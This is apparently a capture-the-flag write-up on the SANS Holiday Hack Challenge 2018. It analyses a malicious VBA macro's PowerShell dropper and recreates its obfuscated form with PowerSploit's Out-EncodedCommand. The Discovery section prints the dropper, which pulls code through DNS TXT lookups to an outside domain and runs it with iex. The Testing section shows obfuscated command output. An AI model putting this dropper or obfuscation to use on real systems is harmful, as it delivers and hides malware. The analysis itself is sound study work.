## Discovery

Using sal a New-Object to set an alias for a as New-Object caught my eye, and in some googling around, I found the Out-EncodedCommand.ps1 script that’s part of PowerSploit. I believe that was used to generate the PowerShell command that was run in the VBA macro.

As a reminder, here’s the command that was run by the VBA:

And that decoded to the dropper:

function H2A($a) {$o; $a -split '(..)' | ? {$_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o +$_}; return $o};$f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A$h | Out-string))

## Testing

To test this, I saved the dropper code as dropper.ps1, and the I ran Out-EncodedCommand against it using options that looked similar to what I had seen in the VBA.

PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> . .\Out-EncodedCommand.ps1

That looks nothing like the code from the vba, but if I base64 decode that, I get the following, which looks almost exactly like the command I started with:

It’s not clear to me what I’m doing different from the challenge creators. It comes down to this block of code:

{
$CommandLineOutput = "powershell$($CommandlineOptions -join ' ') -C "$NewScript""

if ($PSBoundParameters['EncodedOutput'] -or$CommandLineOutput.Length -le $CmdMaxLength) {$CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E "$EncodedPayloadScript"" } if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not$PSBoundParameters['EncodedOutput']))
{
$CommandLineOutput = "powershell$($CommandlineOptions -join ' ') -C "$NewScript""
}
}

I don’t set the EncodedOutput flag, but my payload is short enough that it still encodes it. If I comment out the length checks and just do that if based on the flag, I get:

PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> Out-EncodedCommand -NoExit -NoProfile -NonInteractive -Path .\dropper.ps1
powershell -NoE -NoP -NonI -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::From